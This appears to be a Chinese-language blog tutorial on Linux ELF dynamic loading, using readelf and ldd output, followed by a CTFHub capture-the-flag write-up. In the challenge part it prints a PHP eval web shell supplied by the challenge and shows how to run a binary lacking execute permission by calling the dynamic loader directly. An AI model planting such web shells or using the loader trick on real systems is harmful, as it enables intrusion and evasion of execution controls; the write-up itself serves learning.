目录
动态加载器的了解
在【维基百科】中动态加载是一种机制,通过该机制,计算机程序可以在运行时将库(或其他二进制)加载到存储器中,检索包含在库中的函数和变量的地址,执行那些函数或访问那些变量,以及从存储器中卸载库。它是计算机程序使用其他软件的三种机制之一;另外两种是静态链接和动态链接。与静态链接和动态链接不同,动态加载允许计算机程序在缺少这些库的情况下启动,以发现可用的库,并潜在地获得附加功能。
为了想了解Linux系统中一个执行文件到底是怎样被执行。
写了一个简单求和C文件,进行编译后,生成了一个可执行文件。
#include<stdio.h>
int sum(int x)
{
int sumvalue = 0;
for(int i = 1; i <= x; i++)
{
sumvalue += i;
}
return sumvalue;
}
int main()
{
int n = 100;
int value;
value = sum(n);
printf("sum = %d\n", value);
}
在Linux中可以通过file和readelf指令来查看执行文件的大概信息以及文件的elf相关信息。
1、通过file 执行文件名 可以查看到执行文件是静态执行文件还是动态执行文件。statically linked \ dynamically linked。
$ file ./demo
./demo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a0c5f362e76df504e8c9f9be25369c7209a6193e, not stripped
2、readelf -h查看指令帮助
readelf: Warning: Nothing to do.
Usage: readelf <option(s)> elf-file(s)
Display information about the contents of ELF format files
Options are:
-a --all Equivalent to: -h -l -S -s -r -d -V -A -I
-h --file-header Display the ELF file header
-l --program-headers Display the program headers
--segments An alias for --program-headers
-S --section-headers Display the sections' header
--sections An alias for --section-headers
-g --section-groups Display the section groups
-t --section-details Display the section details
-e --headers Equivalent to: -h -l -S
-s --syms Display the symbol table
--symbols An alias for --syms
--dyn-syms Display the dynamic symbol table
-n --notes Display the core notes (if present)
-r --relocs Display the relocations (if present)
-u --unwind Display the unwind info (if present)
-d --dynamic Display the dynamic section (if present)
-V --version-info Display the version sections (if present)
-A --arch-specific Display architecture specific information (if any)
-c --archive-index Display the symbol/file index in an archive
-D --use-dynamic Use the dynamic section info when displaying symbols
-x --hex-dump=<number|name>
Dump the contents of section <number|name> as bytes
-p --string-dump=<number|name>
Dump the contents of section <number|name> as strings
-R --relocated-dump=<number|name>
Dump the contents of section <number|name> as relocated bytes
-z --decompress Decompress section before dumping it
-w[lLiaprmfFsoRtUuTgAckK] or
--debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,
=frames-interp,=str,=loc,=Ranges,=pubtypes,
=gdb_index,=trace_info,=trace_abbrev,=trace_aranges,
=addr,=cu_index,=links,=follow-links]
Display the contents of DWARF debug sections
--dwarf-depth=N Do not display DIEs at depth N or greater
--dwarf-start=N Display DIEs starting with N, at the same depth
or deeper
-I --histogram Display histogram of bucket list lengths
-W --wide Allow output width to exceed 80 characters
@<file> Read options from <file>
-H --help Display this information
-v --version Display the version number of readelf
readelf -e 执行文件 可以查看到ELF Header相关的信息。
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x540
Start of program headers: 64 (bytes into file)
Start of section headers: 6472 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 29
Section header string table index: 28
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000000238 00000238
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.ABI-tag NOTE 0000000000000254 00000254
0000000000000020 0000000000000000 A 0 0 4
[ 3] .note.gnu.build-i NOTE 0000000000000274 00000274
0000000000000024 0000000000000000 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000000298 00000298
000000000000001c 0000000000000000 A 5 0 8
[ 5] .dynsym DYNSYM 00000000000002b8 000002b8
00000000000000a8 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 0000000000000360 00000360
0000000000000084 0000000000000000 A 0 0 1
[ 7] .gnu.version VERSYM 00000000000003e4 000003e4
000000000000000e 0000000000000002 A 5 0 2
[ 8] .gnu.version_r VERNEED 00000000000003f8 000003f8
0000000000000020 0000000000000000 A 6 1 8
[ 9] .rela.dyn RELA 0000000000000418 00000418
00000000000000c0 0000000000000018 A 5 0 8
[10] .rela.plt RELA 00000000000004d8 000004d8
0000000000000018 0000000000000018 AI 5 22 8
[11] .init PROGBITS 00000000000004f0 000004f0
0000000000000017 0000000000000000 AX 0 0 4
[12] .plt PROGBITS 0000000000000510 00000510
0000000000000020 0000000000000010 AX 0 0 16
[13] .plt.got PROGBITS 0000000000000530 00000530
0000000000000008 0000000000000008 AX 0 0 8
[14] .text PROGBITS 0000000000000540 00000540
00000000000001f2 0000000000000000 AX 0 0 16
[15] .fini PROGBITS 0000000000000734 00000734
0000000000000009 0000000000000000 AX 0 0 4
[16] .rodata PROGBITS 0000000000000740 00000740
000000000000000e 0000000000000000 A 0 0 4
[17] .eh_frame_hdr PROGBITS 0000000000000750 00000750
0000000000000044 0000000000000000 A 0 0 4
[18] .eh_frame PROGBITS 0000000000000798 00000798
0000000000000128 0000000000000000 A 0 0 8
[19] .init_array INIT_ARRAY 0000000000200db8 00000db8
0000000000000008 0000000000000008 WA 0 0 8
[20] .fini_array FINI_ARRAY 0000000000200dc0 00000dc0
0000000000000008 0000000000000008 WA 0 0 8
[21] .dynamic DYNAMIC 0000000000200dc8 00000dc8
00000000000001f0 0000000000000010 WA 6 0 8
[22] .got PROGBITS 0000000000200fb8 00000fb8
0000000000000048 0000000000000008 WA 0 0 8
[23] .data PROGBITS 0000000000201000 00001000
0000000000000010 0000000000000000 WA 0 0 8
[24] .bss NOBITS 0000000000201010 00001010
0000000000000008 0000000000000000 WA 0 0 1
[25] .comment PROGBITS 0000000000000000 00001010
0000000000000029 0000000000000001 MS 0 0 1
[26] .symtab SYMTAB 0000000000000000 00001040
0000000000000600 0000000000000018 27 43 8
[27] .strtab STRTAB 0000000000000000 00001640
0000000000000208 0000000000000000 0 0 1
[28] .shstrtab STRTAB 0000000000000000 00001848
00000000000000fe 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
l (large), p (processor specific)
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040
0x00000000000001f8 0x00000000000001f8 R 0x8
INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000000008c0 0x00000000000008c0 R E 0x200000
LOAD 0x0000000000000db8 0x0000000000200db8 0x0000000000200db8
0x0000000000000258 0x0000000000000260 RW 0x200000
DYNAMIC 0x0000000000000dc8 0x0000000000200dc8 0x0000000000200dc8
0x00000000000001f0 0x00000000000001f0 RW 0x8
NOTE 0x0000000000000254 0x0000000000000254 0x0000000000000254
0x0000000000000044 0x0000000000000044 R 0x4
GNU_EH_FRAME 0x0000000000000750 0x0000000000000750 0x0000000000000750
0x0000000000000044 0x0000000000000044 R 0x4
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 0x10
GNU_RELRO 0x0000000000000db8 0x0000000000200db8 0x0000000000200db8
0x0000000000000248 0x0000000000000248 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
这整个dynamically linked的ELF Header信息里我们要重点关注的是Program Headers中的[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]信息,这里指明了ELF执行文件是动态链接,它需要一个ld-linux-x86-64.so.2加载器来协助加载。
INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
在Linux内核执行ELF文件时,会通过判断是否有INTERP这一项,有则通过指定的加载器来进行加载。没有的话就是静态链接,内核会直接加载。
3、ldd指令可以查看执行文件的执行链路
$ldd ./demo
linux-vdso.so.1 (0x00007ffe9b4d0000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f11749d4000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1174fc7000)
CTFHUB-动态加载器
题目中提示了“学习 Linux ELF Dynaamic Loader 技术。在 ELF 无 x 权限时运行 ELF 文件”。
CTFHub Linux 动态装载
当ELF没有 x 权限时, 如何执行?# chmod 755 /readflag
# /readflag
ctfhub{demoflag}
#
# chown root:root /readflag
# chmod 644 /readflag
# ls -l /readflag
-rw-r--r-- 1 root root 8648 Mar 6 15:48 /readflag
目标: 执行 /readflag 读取 flag
出题人: 本题不需要提权, 这是给你的 WebShell, 只能帮你到这了。
题目已经给了一个webshell
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>
通过蚁剑连接,进入被测系统终端,寻找flag文件,如下图
接下来,尝试下看看是否可以执行?./flag提示无权限
/bin/sh: 1: ./flag: Permission denied
我们查看下根目录下的权限情况
(www-data:/) $ ls -l
total 84
drwxr-xr-x 1 root root 4096 Mar 3 2020 bin
drwxr-xr-x 2 root root 4096 Jun 26 2018 boot
drwxr-xr-x 5 root root 360 Oct 21 22:30 dev
drwxr-xr-x 1 root root 4096 Oct 21 22:30 etc
-rw------- 1 root root 33 Oct 21 22:31 flag
drwxr-xr-x 2 root root 4096 Jun 26 2018 home
drwxr-xr-x 1 root root 4096 Jul 17 2018 lib
drwxr-xr-x 2 root root 4096 Jul 16 2018 lib64
drwxr-xr-x 2 root root 4096 Jul 16 2018 media
drwxr-xr-x 2 root root 4096 Jul 16 2018 mnt
drwxr-x--x 1 root root 4096 Mar 9 2020 opt
dr-xr-xr-x 109 root root 0 Oct 21 22:30 proc
-rw-r--r-- 1 root root 8648 Mar 9 2020 readflag
drwx------ 1 root root 4096 Mar 9 2020 root
drwxr-xr-x 1 root root 4096 Oct 21 22:30 run
drwxr-xr-x 1 root root 4096 Mar 3 2020 sbin
drwxr-xr-x 2 root root 4096 Jul 16 2018 srv
dr-xr-xr-x 12 root root 0 Oct 21 22:28 sys
drwxrwxrwt 1 root root 4096 Oct 21 22:30 tmp
drwxr-xr-x 1 root root 4096 Jul 16 2018 usr
drwxr-xr-x 1 root root 4096 Jul 17 2018 var
发现readflag和flag文件都是没有执行权限。那根据我们上面准备知识里提到了ldd是可以查看到执行文件的执行链路的。
ldd ./readflag
linux-vdso.so.1 (0x00007ffc241f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6b2fb85000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6b30126000)
这样的话只要确认下ldd中动态库是否具备执行权限,是一个突破口。
ls -l /lib64/ld-linux-x86-64.so.2
lrwxrwxrwx 1 root root 32 Jan 14 2018 /lib64/ld-linux-x86-64.so.2 -> /lib/x86_64-linux-gnu/ld-2.24.so
我们看到了/lib64/ld-linux-x86-64.so.2动态库是具备执行权限的,那就可以通过它来执行readflag
/lib64/ld-linux-x86-64.so.2 ./readflag
ctfhub{2ab95b7ebc94f615f5818083}